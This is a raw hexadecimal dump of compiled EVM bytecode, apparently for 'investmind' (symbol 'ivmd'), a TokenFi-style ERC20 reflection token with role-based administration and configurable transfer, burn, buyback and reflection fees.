360e01b60648201526084016106d9565b6001600160a01b03821661194f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106d9565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600061096b836001600160a01b03841661213a565b60006119d28484611397565b90506000198114611a3a5781811015611a2d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016106d9565b611a3a848484840361188c565b50505050565b6000611a4c8484612152565b90506000611a5a8585612170565b600954909150839015801590611a7a5750600a5460ff161580611a7a5750825b8015611a84575081155b15611b265760095460009061271090611a9d90846131d3565b611aa79190613166565b600654909150611ac59088906001600160a01b03168385600061218e565b611acf8186613106565b6040516a7472616e7366657246656560a81b8152909550600b0160405190819003812060065483835290916001600160a01b03918216918a169060008051602061334c8339815191529060200160405180910390a4505b600b5415801590611b415750600c5460ff161580611b415750825b8015611b4b575081155b15611bd957600b5460009061271090611b6490846131d3565b611b6e9190613166565b9050611b808761dead8385600061218e565b611b8a8186613106565b604051666275726e46656560c81b81529095506007016040519081900381208282529061dead906001600160a01b038a169060008051602061334c8339815191529060200160405180910390a4505b600f5415801590611bf4575060105460ff161580611bf45750825b8015611bfe575081155b15611d4c57600f5460009061271090611c1790846131d3565b611c219190613166565b601554909150611c3f9088906001600160a01b03168385600061218e565b611c4a6019886119b1565b158015611c6157506012546001600160a01b031615155b15611cec5760155460065460405163f7fd85c160e01b81526001600160a01b03918216600482015260115482166024820152601254821660448201526013546064820152601454608482015291169063f7fd85c19060a401600060405180830381600087803b158015611cd357600080fd5b505af1158015611ce7573d6000803e3d6000fd5b505050505b611cf68186613106565b604051696275796261636b46656560b01b8152909550600a0160405190819003812060155483835290916001600160a01b03918216918a169060008051602061334c8339815191529060200160405180910390a4505b611d5a86868684600161218e565b505050505050565b6000806000611d6f6121c4565b9092509050611d7e8183613166565b9250505090565b611d8f813361233f565b50565b611d9c82826110f1565b610a0d5760008281526005602090815260408083206001600160a01b03851684529091529020805460ff19166001179055611dd43390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b611e2282826110f1565b15610a0d5760008281526005602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6000611e89611d62565b611e9390836131d3565b601f54909150611ea4908390613119565b601f55602054611eb5908290613119565b602055611ec1836110bd565b15611f04576001600160a01b0383166000908152601c6020526040902054611eea908390613119565b6001600160a01b0384166000908152601c60205260409020555b6001600160a01b0383166000908152601b6020526040902054611f28908290613119565b6001600160a01b0384166000818152601b602052604080822093909355915190919060008051602061336c833981519152906119a49086815260200190565b6001600160a01b038216611fbd5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016106d9565b8060026000828254611fcf9190613119565b90915550506001600160a01b0382166000818152602081815260408083208054860190555184815260008051602061336c833981519152910160405180910390a35050565b600061096b836001600160a01b038416612398565b6000612034826110bd565b1561205557506001600160a01b03166000908152601c602052604090205490565b6001600160a01b0382166000908152601b60205260409020546106aa906108ed565b600061096b836001600160a01b0384166123e2565b600e546000908190819060ff1615806120a25750845b90508015806120af575083155b156120c15786600092509250506120f5565b600d54600090612710906120d590896131d3565b6120df9190613166565b905060006120ed828a613106565b945090925050505b94509492505050565b600080808061210d85886131d3565b9050600061211b86886131d3565b905060006121298284613106565b929992985090965090945050505050565b60009081526001919091016020526040902054151590565b600061215f6019846119b1565b8061096b575061096b6019836119b1565b600061217d6017846119b1565b8061096b575061096b6017836119b1565b601654600160a01b900460ff16156121b2576121ad85858585856124d5565b6121bd565b6121bd8585856127cf565b5050505050565b602054601f546000918291825b601e5481101561230d5782601b6000601e84815481106121f3576121f36131bd565b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061225e575081601c6000601e8481548110612237576122376131bd565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612275575050602054601f549094909350915050565b601b6000601e838154811061228c5761228c6131bd565b60009182526020808320909101546001600160a01b031683528201929092526040019020546122bb9084613106565b9250601c6000601e83815481106122d4576122d46131bd565b60009182526020808320909101546001600160a01b031683528201929092526040019020546123039083613106565b91506001016121d1565b50601f5460205461231e9190613166565b821015612336575050602054601f5490939092509050565b90939092509050565b61234982826110f1565b610a0d57612356816128e7565b6123618360206128f9565b604051602001612372929190613200565b60408051601f198184030181529082905262461bcd60e51b82526106d991600401612d80565b60006123a4838361213a565b6123da575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556106aa565b5060006106aa565b600081815260018301602052604081205480156124cb576000612406600183613106565b855490915060009061241a90600190613106565b905081811461247f57600086600001828154811061243a5761243a6131bd565b906000526020600020015490508087600001848154811061245d5761245d6131bd565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080612490576124906131ea565b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506106aa565b60009150506106aa565b6001600160a01b0385166124fb5760405162461bcd60e51b81526004016106d99061326f565b6001600160a01b0384166125215760405162461bcd60e51b81526004016106d9906132b4565b600083116125835760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106d9565b600061258f8686612152565b90506000601660009054906101000a90046001600160a01b03166001600160a01b031663e75d75d56040518163ffffffff1660e01b81526004016020604051808303816000875af11580156125e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061260c91906132f7565b9050806001600160a01b0316876001600160a01b0316148061263f5750806001600160a01b0316866001600160a01b0316145b1561264957600092505b600080600080600061265d8a8a898b611839565b945094509450945094506126708c6110bd565b801561268257506126808b6110bd565b155b1561269b576126968c8c8c8589898e612a94565b612726565b6126a48c6110bd565b1580156126b557506126b58b6110bd565b156126c9576126968c8c8c8589898e612b90565b6126d28c6110bd565b1580156126e557506126e38b6110bd565b155b156126f9576126968c8c8c8589898e612c7b565b6127028c6110bd565b801561271257506127128b6110bd565b15612726576127268c8c8c8589898e612c9f565b8a6001600160a01b03168c6001600160a01b031660008051602061336c8339815191528460405161275991815260200190565b60405180910390a387156127c1576127718382612cf3565b6040516c7265666c656374696f6e46656560981b8152600d01604051908190038120828252906000906001600160a01b038f169060008051602061334c8339815191529060200160405180910390a45b505050505050505050505050565b6001600160a01b0383166127f55760405162461bcd60e51b81526004016106d99061326f565b6001600160a01b03821661281b5760405162461bcd60e51b81526004016106d9906132b4565b6001600160a01b038316600090815260208190526040902054818110156128935760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016106d9565b6001600160a01b038481166000818152602081815260408083208787039055938716808352918490208054870190559251858152909260008051602061336c833981519152910160405180910390a3611a3a565b60606106aa6001600160a01b03831660145b606060006129088360026131d3565b612913906002613119565b6001600160401b0381111561292a5761292a612ec3565b6040519080825280601f01601f191660200182016040528015612954576020820181803683370190505b509050600360fc1b8160008151811061296f5761296f6131bd565b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811061299e5761299e6131bd565b60200101906001600160f81b031916908160001a90535060006129c28460026131d3565b6129cd906001613119565b90505b6001811115612a45576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110612a0157612a016131bd565b1a60f81b828281518110612a1757612a176131bd565b60200101906001600160f81b031916908160001a90535060049490941c93612a3e81613314565b90506129d0565b50831561096b5760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460448201526064016106d9565b6001600160a01b0387166000908152601c6020526040902054612ab8908690613106565b6001600160a01b0388166000908152601c6020908152604080832093909355601b90522054612ae8908490613106565b6001600160a01b0388166000908152601b60205260409020558015612b49576001600160a01b0386166000908152601b6020526040902054612b2b908390613119565b6001600160a01b0387166000908152601b6020526040902055612b87565b6001600160a01b0386166000908152601b6020526040902054612b6d908490613119565b6001600160a01b0387166000908152601b60205260409020555b50505050505050565b6001600160a01b0387166000908152601b6020526040902054612bb4908490613106565b6001600160a01b0388166000908152601b60205260409020558015612c27576001600160a01b0386166000908152601c6020526040902054612bf7908590613119565b6001600160a01b0387166000908152601c6020908152604080832093909355601b90522054612b2b908390613119565b6001600160a01b0386166000908152601c6020526040902054612c4b908690613119565b6001600160a01b0387166000908152601c6020908152604080832093909355601b90522054612b6d908490613119565b6001600160a01b0387166000908152601b6020526040902054612ae8908490613106565b6001600160a01b0387166000908152601c6020526040902054612cc3908690613106565b6001600160a01b0388166000908152601c6020908152604080832093909355601b90522054612bb4908490613106565b602054612d01908390613106565b602055602154612d12908290613119565b6021555050565b600060208284031215612d2b57600080fd5b81356001600160e01b03198116811461096b57600080fd5b600060208284031215612d5557600080fd5b5035919050565b60005b83811015612d77578181015183820152602001612d5f565b50506000910152565b6020815260008251806020840152612d9f816040850160208701612d5c565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611d8f57600080fd5b60008060408385031215612ddb57600080fd5b8235612de681612db3565b946020939093013593505050565b600060208284031215612e0657600080fd5b813561096b81612db3565b600080600060608486031215612e2657600080fd5b8335612e3181612db3565b92506020840135612e4181612db3565b929592945050506040919091013590565b60008060408385031215612e6557600080fd5b823591506020830135612e7781612db3565b809150509250929050565b80358015158114612e9257600080fd5b919050565b60008060408385031215612eaa57600080fd5b82359150612eba60208401612e82565b90509250929050565b634e487b7160e01b600052604160045260246000fd5b604051608081016001600160401b0381118282101715612f0957634e487b7160e01b600052604160045260246000fd5b60405290565b600060808284031215612f2157600080fd5b612f29612ed9565b8235612f3481612db3565b81526020830135612f4481612db3565b6020820152604083810135908201526060928301359281019290925250919050565b600060408284031215612f7857600080fd5b604080519081016001600160401b0381118282101715612fa857634e487b7160e01b600052604160045260246000fd5b60405282358152905080612fbe60208401612e82565b60208201525092915050565b60006101008284031215612fdd57600080fd5b612fe5612ed9565b612fef8484612f66565b8152612ffe8460408501612f66565b60208201526130108460808501612f66565b60408201526130228460c08501612f66565b60608201529392505050565b805182526020908101511515910152565b610100810161304e828761302e565b61305b604083018661302e565b613068608083018561302e565b61307560c083018461302e565b95945050505050565b6000806040838503121561309157600080fd5b823561309c81612db3565b91506020830135612e7781612db3565b60208082526024908201527f546f6b656e466945524332303a207265666c656374696f6e206e6f7420656e61604082015263189b195960e21b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b818103818111156106aa576106aa6130f0565b808201808211156106aa576106aa6130f0565b600181811c9082168061314057607f821691505b60208210810361316057634e487b7160e01b600052602260045260246000fd5b50919050565b60008261318357634e487b7160e01b600052601260045260246000fd5b500490565b6020808252601b908201527a2a37b5b2b72334a2a92199181d1036bab9ba1031329030b236b4b760291b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b80820281158282048414176106aa576106aa6130f0565b634e487b7160e01b600052603160045260246000fd5b76020b1b1b2b9b9a1b7b73a3937b61d1030b1b1b7bab73a1604d1b815260008351613232816017850160208801612d5c565b7001034b99036b4b9b9b4b733903937b6329607d1b6017918401918201528351613263816028840160208801612d5c565b01602801949350505050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60006020828403121561330957600080fd5b815161096b81612db3565b600081613323576133236130f0565b50600019019056fe6c0757dc3e6b28b2580c03fd9e96c274acf4f99d91fbec9b418fa1d70604ff1c2022773e2291f2fc9298b5ad7d60fae5174151fe00b975c5bdbbe737ba1bfc2fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef546f6b656e466945524332303a207265666c656374696f6e2070657263656e74a164736f6c6343000817000addf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000028000000000000000000000000000000000000000000000000000000000000002c00000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000001300000000000000000000000000000000000000000000001b1ae4d6e2ef5000000000000000000000000000000000000000000000000422ca8b0a00a425000000000000000000000000000000b3bee150168befcd1849ed1a32ed6c49d6409490000000000000000000000000b3bee150168befcd1849ed1a32ed6c49d64094900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000868d9e0277b3ab812f4643d390fe9a29f83968fd000000000000000000000000000000000000000000000000000000000000003200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000032000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b580000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c1dca1b12e6b251f2d9a686d12c7188e3a641d350000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000a696e766573746d696e6400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000469766d64000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000048697066733a2f2f6261667962656964653664326c6b67636a716874746f613436377169327a637674763768667a686f646e783771736c786276646f7766656c666a652f302e706e67000000000000000000000000000000000000000000000000
|
608060405234801561001057600080fd5b50600436106102305760003560e01c806301ffc9a714610235578063053ab1821461025d57806305db2f411461027257806306fdde0314610295578063095ea7b3146102aa57806311c565df146102bd57806313114a9d146102e857806318160ddd146102f057806318f60b69146102f8578063228497201461030b57806322aafef21461033857806323b872dd1461034b578063248a9ca31461035e5780632d838119146103715780632f2ff15d14610384578063313ce5671461039757806336568abe146103b657806339509351146103c957806340a8d39f146103dc57806340c10f19146103e55780634549b039146103f857806358dc10f21461040b5780636078c0f91461041e57806361d027b3146104315780636fda79ce1461044457806370a08231146104915780637543a3aa146104a4578063795c7ebe146104b75780637b1c359c146104ca5780638b4dd060146104dd57806391d14854146104f057806395d89b4114610503578063997d0feb1461050b5780639af1d35a1461051f578063a217fddf146105a4578063a457c2d7146105ac578063a9059cbb146105bf578063b6044b68146105d2578063bc02a108146105e5578063c2510346146105f8578063d49d51811461060b578063d547741f14610613578063d5abeb0114610626578063dd62ed3e1461062f578063f2cc0c1814610642578063f84354f114610655578063fb7f21eb14610668578063fccc281314610670575b600080fd5b610248610243366004612d19565b610679565b60405190151581526020015b60405180910390f35b61027061026b366004612d43565b6106b0565b005b61028760008051602061332c83398151915281565b604051908152602001610254565b61029d6107cd565b6040516102549190612d80565b6102486102b8366004612dc8565b61085f565b6015546102d0906001600160a01b031681565b6040516001600160a01b039091168152602001610254565b602154610287565b610287610877565b610248610306366004612df4565b61089a565b601f5460205460215461031d92919083565b60408051938452602084019290925290820152606001610254565b610248610346366004612df4565b6108a7565b610248610359366004612e11565b6108b4565b61028761036c366004612d43565b6108d8565b61028761037f366004612d43565b6108ed565b610270610392366004612e52565b610972565b601654600160a81b900460ff1660405160ff9091168152602001610254565b6102706103c4366004612e52565b610993565b6102486103d7366004612dc8565b610a11565b61028761271081565b6102706103f3366004612dc8565b610a33565b610287610406366004612e97565b610ad2565b6016546102d0906001600160a01b031681565b61027061042c366004612df4565b610b68565b6006546102d0906001600160a01b031681565b601154601254601354601454610466936001600160a01b039081169316919084565b604080516001600160a01b039586168152949093166020850152918301526060820152608001610254565b61028761049f366004612df4565b610bc4565b6102706104b2366004612f0f565b610c00565b6102706104c5366004612fca565b610e72565b6102706104d8366004612df4565b611061565b6102486104eb366004612df4565b6110bd565b6102486104fe366004612e52565b6110f1565b61029d61111c565b60165461024890600160a01b900460ff1681565b6040805180820182526009548152600a5460ff908116151560208084019190915283518085018552600b548152600c54831615158183015284518086018652600d548152600e5484161515818401528551808701909652600f5486526010549093161515918501919091526105949390919084565b604051610254949392919061303f565b610287600081565b6102486105ba366004612dc8565b61112b565b6102486105cd366004612dc8565b6111a6565b6102706105e0366004612df4565b6111b4565b6102706105f3366004612df4565b611274565b610270610606366004612df4565b61130f565b61028761136b565b610270610621366004612e52565b61137b565b61028760075481565b61028761063d36600461307e565b611397565b610270610650366004612df4565b6113c2565b610270610663366004612df4565b61153b565b61029d6117ab565b6102d061dead81565b60006001600160e01b03198216637965db0b60e01b14806106aa57506301ffc9a760e01b6001600160e01b03198316145b92915050565b601654600160a01b900460ff166106e25760405162461bcd60e51b81526004016106d9906130ac565b60405180910390fd5b336106ec816110bd565b1561074e5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b60648201526084016106d9565b600061075e838460006001611839565b5050506001600160a01b0384166000908152601b602052604090205491925061078991839150613106565b6001600160a01b0383166000908152601b6020908152604090912091909155546107b4908290613106565b6020556021546107c5908490613119565b602155505050565b6060600380546107dc9061312c565b80601f01602080910402602001604051908101604052809291908181526020018280546108089061312c565b80156108555780601f1061082a57610100808354040283529160200191610855565b820191906000526020600020905b81548152906001019060200180831161083857829003601f168201915b5050505050905090565b60003361086d81858561188c565b5060019392505050565b601654600090600160a01b900460ff16156108935750601f5490565b5060025490565b60006106aa6019836119b1565b60006106aa6017836119b1565b6000336108c28582856119c6565b6108cd858585611a40565b506001949350505050565b60009081526005602052604090206001015490565b6020546000908211156109555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106d9565b600061095f611d62565b905061096b8184613166565b9392505050565b61097b826108d8565b61098481611d85565b61098e8383611d92565b505050565b6001600160a01b0381163314610a035760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084016106d9565b610a0d8282611e18565b5050565b60003361086d818585610a248383611397565b610a2e9190613119565b61188c565b6000610a3e81611d85565b60075482610a4a610877565b610a549190613119565b1115610aac5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e466945524332303a206d617820737570706c7920657863656564656044820152601960fa1b60648201526084016106d9565b601654600160a01b900460ff1615610ac85761098e8383611e7f565b61098e8383611f67565b601f54600090831115610b275760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c790060448201526064016106d9565b81610b4a576000610b3c848560006001611839565b509294506106aa9350505050565b6000610b5a848560006001611839565b509194506106aa9350505050565b60008051602061332c833981519152610b8081611d85565b610b8b601783612014565b506040516001600160a01b038316907f1a8d12c6c584c93207352b4fb4b4a1d352b1d54b5879f90a7a31ca8a70bcfed290600090a25050565b601654600090600160a01b900460ff1615610be2576106aa82612029565b6001600160a01b0382166000908152602081905260409020546106aa565b60008051602061332c833981519152610c1881611d85565b600f5415610de35761271082604001511115610c9a5760405162461bcd60e51b815260206004820152603b60248201527f546f6b656e466945524332303a206c69717569646974794261736973506f696e60448201527a07473206d757374206265206c657373207468616e2031302c30303602c1b60648201526084016106d9565b61271082606001511115610d165760405162461bcd60e51b815260206004820152603d60248201527f546f6b656e466945524332303a207072696365496d706163744261736973506f60448201527f696e7473206d757374206265206c657373207468616e2031302c30303000000060648201526084016106d9565b60208201516001600160a01b0316610d7c5760405162461bcd60e51b8152602060048201526024808201527f546f6b656e466945524332303a20726f757465722063616e6e6f7420626520656044820152636d70747960e01b60648201526084016106d9565b81516001600160a01b0316610de35760405162461bcd60e51b815260206004820152602760248201527f546f6b656e466945524332303a2070616972546f6b656e2063616e6e6f7420626044820152666520656d70747960c81b60648201526084016106d9565b8151601180546001600160a01b039283166001600160a01b03199182168117909255602085015160128054919094169116811790925560408085015160138190556060860151601481905591519293927f0984d5f2e8e58132b97a7c66d9c5a2df53eb8f8a7b78b241b1db4fdc7a503a5d92610e66928252602082015260400190565b60405180910390a35050565b6000610e7d81611d85565b601654600160a01b900460ff1615610ef157604082015151610eec5760405162461bcd60e51b8152602060048201526034602482015260008051602061338c833981519152604482015273616765206d757374206265206e6f6e2d7a65726f60601b60648201526084016106d9565b610f4b565b60408201515115610f4b5760405162461bcd60e51b8152602060048201526030602482015260008051602061338c83398151915260448201526f616765206d757374206265207a65726f60801b60648201526084016106d9565b6060820151516040830151516020840151518451516000939291610f6e91613119565b610f789190613119565b610f829190613119565b9050612710811115610fec5760405162461bcd60e51b815260206004820152602d60248201527f546f6b656e466945524332303a20666565732073756d206d757374206265206c60448201526c657373207468616e203130302560981b60648201526084016106d9565b505080518051600955602090810151600a805491151560ff19928316179055818301518051600b55820151600c805491151591831691909117905560408301518051600d55820151600e80549115159183169190911790556060909201518051600f5501516010805491151591909216179055565b60008051602061332c83398151915261107981611d85565b611084601783612077565b506040516001600160a01b038316907ffaaeeffad2a7c67db50de0c0861de690ae617c059e77b13b96ee1bfea1463e8790600090a25050565b6001600160a01b0381166000908152601d602052604081205460ff16806106aa57506001600160a01b038216301492915050565b60009182526005602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6060600480546107dc9061312c565b600033816111398286611397565b9050838110156111995760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106d9565b6108cd828686840361188c565b60003361086d818585611a40565b60008051602061332c8339815191526111cc81611d85565b6001600160a01b0382166112305760405162461bcd60e51b815260206004820152602560248201527f546f6b656e466945524332303a20616464726573732063616e6e6f7420626520604482015264656d70747960d81b60648201526084016106d9565b61123b601983612014565b506040516001600160a01b038316907f1caec4f1ef0e654f520edf2d95d3d035ea6382500dbdd179d37017442e53528490600090a25050565b600061127f81611d85565b6016546112a49060008051602061332c833981519152906001600160a01b0316611e18565b601680546001600160a01b0319166001600160a01b0384161790556112d760008051602061332c83398151915283611d92565b6040516001600160a01b038316907fdba835207229fba1418844b6c6462472e5f6db972a6e9a8d0b7ebf6c7326da4d90600090a25050565b60008051602061332c83398151915261132781611d85565b611332601983612077565b506040516001600160a01b038316907f3186e21fde26faa448666270e7a0d53c887d8f040950e4330a2b622e34ed6f4490600090a25050565b6113786002600019613166565b81565b611384826108d8565b61138d81611d85565b61098e8383611e18565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b601654600160a01b900460ff166113eb5760405162461bcd60e51b81526004016106d9906130ac565b6113f66000336110f1565b8061140b57506016546001600160a01b031633145b6114275760405162461bcd60e51b81526004016106d990613188565b611430816110bd565b1561147b5760405162461bcd60e51b815260206004820152601b60248201527a1058d8dbdd5b9d081a5cc8185b1c9958591e48195e18db1d591959602a1b60448201526064016106d9565b6001600160a01b0381166000908152601b6020526040902054156114d5576001600160a01b0381166000908152601b60205260409020546114bb906108ed565b6001600160a01b0382166000908152601c60205260409020555b6001600160a01b03166000818152601d60205260408120805460ff19166001908117909155601e805491820181559091527f50bb669a95c7b50b7e8a6f09454034b2b14cf2b85c730dca9a539ca82cb6e3500180546001600160a01b0319169091179055565b601654600160a01b900460ff166115645760405162461bcd60e51b81526004016106d9906130ac565b61156f6000336110f1565b8061158457506016546001600160a01b031633145b6115a05760405162461bcd60e51b81526004016106d990613188565b6115a9816110bd565b6115f35760405162461bcd60e51b815260206004820152601b60248201527a1058d8dbdd5b9d081a5cc8185b1c9958591e481a5b98db1d591959602a1b60448201526064016106d9565b60005b601e54811015610a0d57816001600160a01b0316601e828154811061161d5761161d6131bd565b6000918252602090912001546001600160a01b0316036117a3576000611641611d62565b6001600160a01b0384166000908152601b6020908152604090912054905491925061166b91613106565b60209081556001600160a01b0384166000908152601c90915260409020546116949082906131d3565b6001600160a01b0384166000908152601b60208181526040808420948555601c82528320929092558152905490546116cc9190613119565b60209081556001600160a01b0384166000908152601d90915260409020805460ff19169055601e805461170190600190613106565b81548110611711576117116131bd565b600091825260209091200154601e80546001600160a01b03909216918490811061173d5761173d6131bd565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550601e80548061177c5761177c6131ea565b600082815260209020810160001990810180546001600160a01b0319169055019055505050565b6001016115f6565b600880546117b89061312c565b80601f01602080910402602001604051908101604052809291908181526020018280546117e49061312c565b80156118315780601f1061180657610100808354040283529160200191611831565b820191906000526020600020905b81548152906001019060200180831161181457829003601f168201915b505050505081565b60008060008060008060006118508b8b8b8b61208c565b91509150600061185e611d62565b905060008060006118708f86866120fe565b919c509a50985094965092945050505050945094509450945094565b6001600160a01b0383166118ee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106d9565b6001600160a01b03821661194f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106d9565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600061096b836001600160a01b03841661213a565b60006119d28484611397565b90506000198114611a3a5781811015611a2d5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016106d9565b611a3a848484840361188c565b50505050565b6000611a4c8484612152565b90506000611a5a8585612170565b600954909150839015801590611a7a5750600a5460ff161580611a7a5750825b8015611a84575081155b15611b265760095460009061271090611a9d90846131d3565b611aa79190613166565b600654909150611ac59088906001600160a01b03168385600061218e565b611acf8186613106565b6040516a7472616e7366657246656560a81b8152909550600b0160405190819003812060065483835290916001600160a01b03918216918a169060008051602061334c8339815191529060200160405180910390a4505b600b5415801590611b415750600c5460ff161580611b415750825b8015611b4b575081155b15611bd957600b5460009061271090611b6490846131d3565b611b6e9190613166565b9050611b808761dead8385600061218e565b611b8a8186613106565b604051666275726e46656560c81b81529095506007016040519081900381208282529061dead906001600160a01b038a169060008051602061334c8339815191529060200160405180910390a4505b600f5415801590611bf4575060105460ff161580611bf45750825b8015611bfe575081155b15611d4c57600f5460009061271090611c1790846131d3565b611c219190613166565b601554909150611c3f9088906001600160a01b03168385600061218e565b611c4a6019886119b1565b158015611c6157506012546001600160a01b031615155b15611cec5760155460065460405163f7fd85c160e01b81526001600160a01b03918216600482015260115482166024820152601254821660448201526013546064820152601454608482015291169063f7fd85c19060a401600060405180830381600087803b158015611cd357600080fd5b505af1158015611ce7573d6000803e3d6000fd5b505050505b611cf68186613106565b604051696275796261636b46656560b01b8152909550600a0160405190819003812060155483835290916001600160a01b03918216918a169060008051602061334c8339815191529060200160405180910390a4505b611d5a86868684600161218e565b505050505050565b6000806000611d6f6121c4565b9092509050611d7e8183613166565b9250505090565b611d8f813361233f565b50565b611d9c82826110f1565b610a0d5760008281526005602090815260408083206001600160a01b03851684529091529020805460ff19166001179055611dd43390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b611e2282826110f1565b15610a0d5760008281526005602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6000611e89611d62565b611e9390836131d3565b601f54909150611ea4908390613119565b601f55602054611eb5908290613119565b602055611ec1836110bd565b15611f04576001600160a01b0383166000908152601c6020526040902054611eea908390613119565b6001600160a01b0384166000908152601c60205260409020555b6001600160a01b0383166000908152601b6020526040902054611f28908290613119565b6001600160a01b0384166000818152601b602052604080822093909355915190919060008051602061336c833981519152906119a49086815260200190565b6001600160a01b038216611fbd5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016106d9565b8060026000828254611fcf9190613119565b90915550506001600160a01b0382166000818152602081815260408083208054860190555184815260008051602061336c833981519152910160405180910390a35050565b600061096b836001600160a01b038416612398565b6000612034826110bd565b1561205557506001600160a01b03166000908152601c602052604090205490565b6001600160a01b0382166000908152601b60205260409020546106aa906108ed565b600061096b836001600160a01b0384166123e2565b600e546000908190819060ff1615806120a25750845b90508015806120af575083155b156120c15786600092509250506120f5565b600d54600090612710906120d590896131d3565b6120df9190613166565b905060006120ed828a613106565b945090925050505b94509492505050565b600080808061210d85886131d3565b9050600061211b86886131d3565b905060006121298284613106565b929992985090965090945050505050565b60009081526001919091016020526040902054151590565b600061215f6019846119b1565b8061096b575061096b6019836119b1565b600061217d6017846119b1565b8061096b575061096b6017836119b1565b601654600160a01b900460ff16156121b2576121ad85858585856124d5565b6121bd565b6121bd8585856127cf565b5050505050565b602054601f546000918291825b601e5481101561230d5782601b6000601e84815481106121f3576121f36131bd565b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061225e575081601c6000601e8481548110612237576122376131bd565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612275575050602054601f549094909350915050565b601b6000601e838154811061228c5761228c6131bd565b60009182526020808320909101546001600160a01b031683528201929092526040019020546122bb9084613106565b9250601c6000601e83815481106122d4576122d46131bd565b60009182526020808320909101546001600160a01b031683528201929092526040019020546123039083613106565b91506001016121d1565b50601f5460205461231e9190613166565b821015612336575050602054601f5490939092509050565b90939092509050565b61234982826110f1565b610a0d57612356816128e7565b6123618360206128f9565b604051602001612372929190613200565b60408051601f198184030181529082905262461bcd60e51b82526106d991600401612d80565b60006123a4838361213a565b6123da575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556106aa565b5060006106aa565b600081815260018301602052604081205480156124cb576000612406600183613106565b855490915060009061241a90600190613106565b905081811461247f57600086600001828154811061243a5761243a6131bd565b906000526020600020015490508087600001848154811061245d5761245d6131bd565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080612490576124906131ea565b6001900381819060005260206000200160009055905585600101600086